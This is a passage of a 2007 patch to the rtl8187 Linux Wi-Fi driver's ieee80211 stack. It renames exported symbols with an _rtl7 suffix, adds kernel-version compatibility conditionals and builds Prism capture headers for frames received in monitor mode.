+ }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_rawtx/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_module.c 2007-07-13 01:46:05.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_rx.c 2007-07-13 01:46:05.000000000 +0200 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,85 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +130,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +160,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +199,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +212,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +222,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +244,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +253,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +319,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +360,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +370,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = 